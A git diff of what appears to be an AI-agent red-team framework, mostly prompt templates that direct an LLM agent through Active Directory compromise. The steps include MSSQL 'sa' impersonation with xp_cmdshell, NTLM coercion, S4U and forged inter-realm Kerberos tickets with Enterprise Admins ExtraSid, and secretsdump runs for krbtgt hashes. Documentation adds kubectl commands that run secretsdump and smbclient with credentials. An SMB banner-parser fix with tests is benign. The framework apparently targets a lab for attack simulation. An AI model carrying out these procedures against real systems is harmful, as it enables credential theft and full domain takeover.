-**IMPORTANT:** Always use target_ip='{{ target_ip }}' to avoid DNS resolution issues! - -**STEP 3: ALTERNATIVE - PSEXEC_KERBEROS FOR SHELL** -If secretsdump fails or you need a shell: -``` -psexec_kerberos( - target='{{ target_hostname }}', - username='Administrator', - domain='{{ domain }}', - ticket_path='', - command='cmd /c whoami && hostname', - target_ip='{{ target_ip }}'{% if dc_ip %}, - dc_ip='{{ dc_ip }}'{% endif %} -) -``` +That's the entire task. The orchestrator detects the `.ccache` ticket emitted +by `s4u_attack` and **automatically dispatches a follow-up `credential_access` +task** that runs `secretsdump` with the ticket already wired to `ticket_path` +(via `auto_chain_s4u_secretsdump` in result_processing). Do NOT call +`secretsdump_kerberos` or `psexec_kerberos` yourself in this task — the chained +task handles it with the real ticket value. -**CRITICAL SUCCESS INDICATORS:** -- If target is a DC: Look for krbtgt hash -> DOMAIN ADMIN -- If target is a DC: Look for Administrator hash -> DOMAIN ADMIN -- If target is a member server: SAM/LSA secrets for lateral movement - -**DO NOT STOP after getting the ticket!** The ticket is useless by itself. -You MUST use it with secretsdump_kerberos or psexec_kerberos to achieve actual access. - -Report any hashes obtained: -```json -{"hash": {"username": "Administrator", "hash_value": "...", "hash_type": "NTLM", "domain": "..."}} -``` +Call `task_complete` as soon as `s4u_attack` finishes (success or failure). {% if state_context %} ## Current Operation State diff --git a/ares-llm/templates/redteam/tasks/exploit_mssql.md.tera b/ares-llm/templates/redteam/tasks/exploit_mssql.md.tera index 0c6bf068..12df3529 100644 --- a/ares-llm/templates/redteam/tasks/exploit_mssql.md.tera +++ b/ares-llm/templates/redteam/tasks/exploit_mssql.md.tera @@ -4,9 +4,9 @@ ``` mssql_enum_impersonation( target='{{ target }}', - username=, - password=, - domain= + username='{{ sample_username }}', + password='{{ sample_password }}', + domain='{{ domain }}' ) ``` -> If you can impersonate 'sa', you have a DIRECT PATH to sysadmin! @@ -15,11 +15,11 @@ mssql_enum_impersonation( ``` mssql_impersonate( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', impersonate_user='sa', query='SELECT SYSTEM_USER', - domain= + domain='{{ domain }}' ) ``` -> Now you're sysadmin! Enable xp_cmdshell next. @@ -28,10 +28,10 @@ mssql_impersonate( ``` mssql_enable_xp_cmdshell( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', impersonate_user='sa', - domain= + domain='{{ domain }}' ) ``` @@ -39,11 +39,11 @@ mssql_enable_xp_cmdshell( ``` mssql_impersonate( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', impersonate_user='sa', query='EXEC xp_cmdshell ''whoami /priv''', - domain= + domain='{{ domain }}' ) ``` -> Check for SeImpersonatePrivilege (potato attack potential) @@ -52,9 +52,9 @@ mssql_impersonate( ``` mssql_enum_linked_servers( target='{{ target }}', - username=, - password=, - domain= + username='{{ sample_username }}', + password='{{ sample_password }}', + domain='{{ domain }}' ) ``` -> Linked servers can pivot across domain/forest trusts! diff --git a/ares-llm/templates/redteam/tasks/exploit_mssql_lateral.md.tera b/ares-llm/templates/redteam/tasks/exploit_mssql_lateral.md.tera index 6ceed223..05896acc 100644 --- a/ares-llm/templates/redteam/tasks/exploit_mssql_lateral.md.tera +++ b/ares-llm/templates/redteam/tasks/exploit_mssql_lateral.md.tera @@ -8,8 +8,8 @@ Try each available credential against the MSSQL instance: ``` mssql_command( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', command='SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER(''sysadmin'')', domain='{{ domain }}' ) @@ -20,8 +20,8 @@ mssql_command( ``` mssql_enum_impersonation( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', domain='{{ domain }}' ) ``` @@ -31,31 +31,35 @@ mssql_enum_impersonation( ``` mssql_enum_linked_servers( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', domain='{{ domain }}' ) ``` --> Linked servers can bridge domain/forest trust boundaries! --> If linked server found, enumerate it: +-> Linked servers can bridge domain/forest trust boundaries. Each link discovered will be auto-dispatched as a separate follow-up task with `linked_server` already populated — do NOT call `mssql_exec_linked` here on links you discover during this task. +{% if linked_server %} +**STEP 3a: PIVOT THROUGH ALREADY-DISCOVERED LINKED SERVER** +This task was dispatched with a known linked server (`{{ linked_server }}`), pivot through it now: ``` mssql_exec_linked( target='{{ target }}', - username=, - password=, - linked_server='', - query='SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER(''sysadmin'')', - domain='{{ domain }}' + username='{{ sample_username }}', + password='{{ sample_password }}', + domain='{{ domain }}', + linked_server='{{ linked_server }}', + query='SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER(''sysadmin'')' ) ``` +-> Confirms the pivot worked before running further queries. +{% endif %} **STEP 4: EXPLOIT IMPERSONATION (IF FOUND)** If 'sa' is impersonatable, IMMEDIATELY exploit it: ``` mssql_impersonate( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', impersonate_user='sa', query='SELECT SYSTEM_USER', domain='{{ domain }}' @@ -65,8 +69,8 @@ Then enable xp_cmdshell WITH impersonation (CRITICAL - must pass impersonate_use ``` mssql_enable_xp_cmdshell( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', impersonate_user='sa', domain='{{ domain }}' ) @@ -75,8 +79,8 @@ Then run commands VIA mssql_impersonate (xp_cmdshell requires sa context!): ``` mssql_impersonate( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', impersonate_user='sa', query='EXEC xp_cmdshell ''whoami /priv''', domain='{{ domain }}' @@ -89,9 +93,9 @@ If you have sysadmin but need domain creds: ``` mssql_ntlm_coerce( target='{{ target }}', - username=, - password=, - listener='', + username='{{ sample_username }}', + password='{{ sample_password }}', + listener='{{ listener_ip }}', domain='{{ domain }}' ) ``` diff --git a/ares-llm/templates/redteam/tasks/exploit_trust.md.tera b/ares-llm/templates/redteam/tasks/exploit_trust.md.tera index c28c8402..af05504e 100644 --- a/ares-llm/templates/redteam/tasks/exploit_trust.md.tera +++ b/ares-llm/templates/redteam/tasks/exploit_trust.md.tera @@ -23,9 +23,14 @@ extract_trust_key( -> Also extract AES256 key if available (needed for Windows 2016+) {% endif -%} -{% if needs_source_sid or needs_target_sid -%} +{% if not has_source_sid or not has_target_sid -%} **STEP {{ step_sid }}: RESOLVE DOMAIN SIDs** -{% if needs_source_sid -%} + +The forge step needs both the source-domain SID and the target-domain SID. +Run only the missing call(s) below — `task_complete` after they finish, and +the orchestrator will re-dispatch the forge step automatically once the SIDs +are in state. +{% if not has_source_sid %} Source SID (resolve via source DC): ``` get_sid( @@ -36,45 +41,41 @@ get_sid( ) ``` {% endif -%} -{% if needs_target_sid -%} -Target SID (resolve via target DC using trust key for auth): +{% if not has_target_sid -%} +Target SID (resolve via target DC using the extracted trust key for auth): ``` get_sid( domain='{{ trusted_domain }}', username='{{ username }}', - hash='{{ trust_key_or_placeholder }}', + hash='{{ trust_key }}', dc_ip='{{ target_dc_hint }}' ) ``` {% endif -%} {% endif -%} +{% if can_forge -%} **STEP {{ step_forge }}: FORGE INTER-REALM TGT** ``` create_inter_realm_ticket( source_domain='{{ domain }}', - source_sid='{{ source_sid_val }}', - trust_key='{{ trust_key_val }}', + source_sid='{{ source_sid }}', + trust_key='{{ trust_key }}', target_domain='{{ trusted_domain }}', - target_sid='{{ target_sid_val }}', + target_sid='{{ target_sid }}', username='Administrator'{% if is_child_to_parent %}, - extra_sid='{{ extra_sid_val }}-519'{% endif %} + extra_sid='{{ target_sid }}-519'{% endif %} ) ``` --> Saves .ccache ticket file for cross-domain auth +-> Saves .ccache ticket file for cross-domain auth. **STEP {{ step_secretsdump }}: USE TICKET FOR SECRETSDUMP ON TARGET DOMAIN** -``` -secretsdump_kerberos( - target='', - username='Administrator', - domain='{{ trusted_domain }}', - ticket_path='', - target_ip='' -) -``` --> Look for krbtgt hash = DOMAIN ADMIN on target domain! --> Look for Administrator hash = full access to target domain +The orchestrator's S4U auto-chain detects the `.ccache` produced above and +**automatically dispatches a follow-up `credential_access` task** that runs +`secretsdump_kerberos` with the ticket already wired to `ticket_path` (via +`auto_chain_s4u_secretsdump`). Do NOT call `secretsdump_kerberos` yourself in +this task — call `task_complete` after the forge step succeeds. +{% endif -%} {% if not is_child_to_parent -%} **IMPORTANT: IMPACKET CROSS-REALM REFERRAL BUG WORKAROUND** @@ -83,19 +84,16 @@ The standard `create_inter_realm_ticket()` + `secretsdump_kerberos()` flow may f cross-forest trusts due to an impacket bug (fortra/impacket#315): `getST`/`getKerberosTGS` sends the referral TGT to the wrong KDC. -**If the standard flow fails, use the reliable forge-and-present workaround:** -1. Forge an inter-realm TGT with the trust key using `ticketer`: - ``` - impacket-ticketer -nthash \ - -domain {{ domain }} -domain-sid \ - -spn krbtgt/{{ trusted_domain }} \ - -target-domain {{ trusted_domain }} Administrator - ``` -2. Export the ticket: `export KRB5CCNAME=Administrator.ccache` -3. Run secretsdump directly against the TARGET DC (bypasses referral): - ``` - impacket-secretsdump -k -no-pass -target-ip -just-dc - ``` +**If the standard flow fails, use the reliable forge-and-present workaround.** +Run `impacket-ticketer` with the trust account NTLM hash from +`extract_trust_key`, the source SID from `get_sid` against `{{ dc_ip }}`, +`-domain {{ domain }}`, `-spn krbtgt/{{ trusted_domain }}`, +`-target-domain {{ trusted_domain }}`, and `Administrator` as the principal. +Then export `KRB5CCNAME=Administrator.ccache` and run +`impacket-secretsdump -k -no-pass -just-dc` against the target-domain DC, +passing `-target-ip` set to that DC's IP. This forges the inter-realm TGT +locally and presents it directly to the target DC, avoiding the broken +cross-realm referral logic entirely. This forges the inter-realm TGT locally and presents it directly to the target DC, avoiding the broken cross-realm referral logic entirely. @@ -118,18 +116,16 @@ raise_child( hash='{{ admin_hash }}' ) {% else -%} -raise_child( - child_domain='{{ domain }}', - username='{{ username }}', - password='' -) +**Cannot run `raise_child` automatically — neither a password nor a hash for +`{{ username }}@{{ domain }}` is available in this task payload. Stop and +request assistance to capture/inject the credential first.** {% endif -%} ``` -> Automates: trust key extraction + ExtraSid golden ticket + parent DC secretsdump {% endif -%} **CRITICAL NOTES:** -- Trust keys are found in secretsdump output as `$` account hashes +- Trust keys are found in secretsdump output as machine-account hashes named with the trusted domain's NetBIOS name followed by `$` (look for that suffix in the dump) - AES256 key is REQUIRED for Windows Server 2016+ (RC4 rejected with KDC_ERR_TGT_REVOKED) - For child-to-parent: ExtraSid with RID 519 (Enterprise Admins) bypasses within-forest - For cross-forest: SID filtering blocks ExtraSid with RID < 1000 — use trust key + ticketer.py workaround diff --git a/ares-tools/src/parsers/smb.rs b/ares-tools/src/parsers/smb.rs index a18bed5a..3619412b 100644 --- a/ares-tools/src/parsers/smb.rs +++ b/ares-tools/src/parsers/smb.rs @@ -9,9 +9,34 @@ use super::looks_like_ip; static RE_NAME: LazyLock = LazyLock::new(|| Regex::new(r"\(name:([^)]+)\)").unwrap()); static RE_DOMAIN: LazyLock = LazyLock::new(|| Regex::new(r"\(domain:([^)]+)\)").unwrap()); +/// True when `(name:X) (domain:Y)` from an SMB banner is a workgroup or +/// self-named pseudo-domain rather than a real Kerberos realm. Non-domain-joined +/// Windows hosts report their workgroup in the SMB `(domain:...)` field — e.g. +/// stock Windows installs return `(name:WIN-XXXX) (domain:WIN-XXXX.WGRP.LOCAL)` +/// or `(domain:WORKGROUP)`. Treating these as AD domains poisons downstream +/// credential attribution (e.g. tagging local SAM hashes with the workgroup +/// string and inferring a phantom "compromised domain"). +fn is_workgroup_domain(name: &str, domain: &str) -> bool { + let domain = domain.trim().trim_end_matches('.'); + if domain.is_empty() { + return false; + } + if domain.eq_ignore_ascii_case("WORKGROUP") || domain.eq_ignore_ascii_case("MSHOME") { + return true; + } + if !name.is_empty() { + let first_label = domain.split('.').next().unwrap_or(""); + if first_label.eq_ignore_ascii_case(name) { + return true; + } + } + false +} + /// Extract `(name:X)` and `(domain:Y)` from a NetExec banner line and /// construct an FQDN: `x.y` (lowercased). Falls back to the positional -/// NetBIOS name when the parenthesised fields are absent. +/// NetBIOS name when the parenthesised fields are absent or when the +/// `(domain:Y)` value is a workgroup pseudo-domain (see [`is_workgroup_domain`]). fn extract_fqdn_from_line(line: &str, positional_name: &str) -> String { let name = RE_NAME .captures(line) @@ -28,7 +53,12 @@ fn extract_fqdn_from_line(line: &str, positional_name: &str) -> String { }); match domain { - Some(d) if !d.is_empty() && !name.is_empty() && !name.contains('.') => { + Some(d) + if !d.is_empty() + && !name.is_empty() + && !name.contains('.') + && !is_workgroup_domain(&name, &d) => + { format!("{}.{}", name.to_lowercase(), d.to_lowercase()) } _ => positional_name.to_string(), @@ -213,4 +243,47 @@ SMB 192.168.58.20 445 SRV01 [*] Windows Server 2016 Build 14393 x64 (name:SR let line = "SMB 192.168.58.12 445 DC01 [*] Windows Server 2019"; assert_eq!(extract_fqdn_from_line(line, "DC01"), "DC01"); } + + #[test] + fn extract_fqdn_skips_workgroup_self_named() { + // Non-domain-joined Windows: SMB negotiation reports the host's own + // computer name as the (domain:...) value (here `WIN-ABCDEFGHIJK` is + // both the (name:...) and the first label of the auto-generated + // workgroup FQDN). Treating that as a Kerberos realm is what creates + // phantom "compromised domain" entries downstream. + let line = "SMB 192.168.58.178 445 WIN-ABCDEFGHIJK [*] Windows 10 Build 19045 x64 (name:WIN-ABCDEFGHIJK) (domain:WIN-ABCDEFGHIJK.WGRP.LOCAL) (signing:False)"; + assert_eq!( + extract_fqdn_from_line(line, "WIN-ABCDEFGHIJK"), + "WIN-ABCDEFGHIJK" + ); + } + + #[test] + fn extract_fqdn_skips_literal_workgroup() { + let line = "SMB 192.168.58.178 445 WIN-XYZ [*] Windows 10 (name:WIN-XYZ) (domain:WORKGROUP) (signing:False)"; + assert_eq!(extract_fqdn_from_line(line, "WIN-XYZ"), "WIN-XYZ"); + } + + #[test] + fn is_workgroup_domain_detects_self_named() { + assert!(is_workgroup_domain( + "WIN-ABCDEFGHIJK", + "WIN-ABCDEFGHIJK.WGRP.LOCAL" + )); + assert!(is_workgroup_domain("WORKGROUP", "WORKGROUP")); + } + + #[test] + fn is_workgroup_domain_detects_literal_workgroup() { + assert!(is_workgroup_domain("WIN-XYZ", "WORKGROUP")); + assert!(is_workgroup_domain("WIN-XYZ", "workgroup")); + assert!(is_workgroup_domain("WIN-XYZ", "MSHOME")); + } + + #[test] + fn is_workgroup_domain_passes_real_domain() { + assert!(!is_workgroup_domain("DC01", "contoso.local")); + assert!(!is_workgroup_domain("SRV01", "child.contoso.local")); + assert!(!is_workgroup_domain("DC01", "")); + } } diff --git a/docs/red.md b/docs/red.md index aad4882d..bb30e75b 100644 --- a/docs/red.md +++ b/docs/red.md @@ -272,7 +272,7 @@ The orchestrator dispatches reconnaissance tasks to RECON workers: ```text # Network discovery -dispatch_recon(task_type="network_scan", targets="10.0.0.0/24") +dispatch_recon(task_type="network_scan", targets="192.168.58.0/24") → RECON executes: nmap_scan - Discover live hosts and services # User enumeration (unauthenticated) @@ -411,11 +411,11 @@ NTLM hash obtained via `secretsdump`. This is the most thorough mode and the recommended default. **Important**: dominating a child domain does **not** count as dominating the -forest root. For example, obtaining `krbtgt` from `north.sevenkingdoms.local` -(child DC: winterfell) does **not** satisfy the `sevenkingdoms.local` forest -requirement. The forest root DC (kingslanding) must be separately compromised, -typically via trust escalation (ExtraSid attack using the trust key from the -child domain's `secretsdump` output). +forest root. For example, obtaining `krbtgt` from `child.contoso.local` (child +DC) does **not** satisfy the `contoso.local` forest requirement. The forest +root DC must be separately compromised, typically via trust escalation +(ExtraSid attack using the trust key from the child domain's `secretsdump` +output). The required forest roots are derived from: @@ -604,7 +604,7 @@ When any agent discovers a credential: │ Orchestrator│ ─────────────────────────────────▶│ CREDENTIAL_ACCESS│ │ │ │ │ │ "Found user │ task: secretsdump │ Runs secretsdump │ -│ with creds"│ target: 10.0.0.1 │ on DC │ +│ with creds"│ target: 192.168.58.10 │ on DC │ └─────────────┘ └────────┬─────────┘ │ ◀──────────────────────────────────────┘ @@ -687,19 +687,19 @@ Run the underlying tool binaries directly on the appropriate agent pod: ```bash # Run smbclient directly kubectl -n attack-simulation exec -it ares-credential-access-agent-0 -- \ - smbclient '//10.1.2.240/SYSVOL' -U 'DOMAIN/user%password' -c 'ls' + smbclient '//192.168.58.10/SYSVOL' -U 'DOMAIN/user%password' -c 'ls' # Run netexec directly (on recon agent - netexec is only installed there) kubectl -n attack-simulation exec -it ares-recon-agent-0 -- \ - netexec smb 10.1.2.240 -u 'user' -p 'password' -d 'DOMAIN' --shares + netexec smb 192.168.58.10 -u 'user' -p 'password' -d 'DOMAIN' --shares # Run secretsdump directly kubectl -n attack-simulation exec -it ares-credential-access-agent-0 -- \ - secretsdump.py 'DOMAIN/user:password@10.1.2.240' + secretsdump.py 'DOMAIN/user:password@192.168.58.10' # Run nmap directly kubectl -n attack-simulation exec -it ares-recon-agent-0 -- \ - nmap -sV --top-ports 1000 10.1.2.0/24 + nmap -sV --top-ports 1000 192.168.58.0/24 ``` #### Available Tools by Agent Pod diff --git a/docs/strategy.md b/docs/strategy.md index 0e875960..cbfad44f 100644 --- a/docs/strategy.md +++ b/docs/strategy.md @@ -72,8 +72,9 @@ operation: #### `fast` (default) Shortest path to Domain Admin. Prioritises secretsdump and trust escalation. -This is what produces the deterministic samwell -> jeor -> robb -> secretsdump --> trust key -> MSSQL -> Golden Ticket chain in DreadGOAD. +This is what produces the deterministic kerberoast → secretsdump → trust key → +MSSQL → Golden Ticket chain. (For the concrete chain shape against the GOAD +lab, see `docs/goad-checklist.md`.) | Technique | Weight | Effect | |-----------|--------|--------| @@ -319,7 +320,7 @@ These can also be passed in the JSON operation payload: { "operation_id": "op-20260421", "target_domain": "contoso.local", - "target_ips": ["10.0.0.1"], + "target_ips": ["192.168.58.10"], "strategy": "comprehensive", "technique_weights": {"esc1": 1, "secretsdump": 8}, "exclude_techniques": ["password_spray"],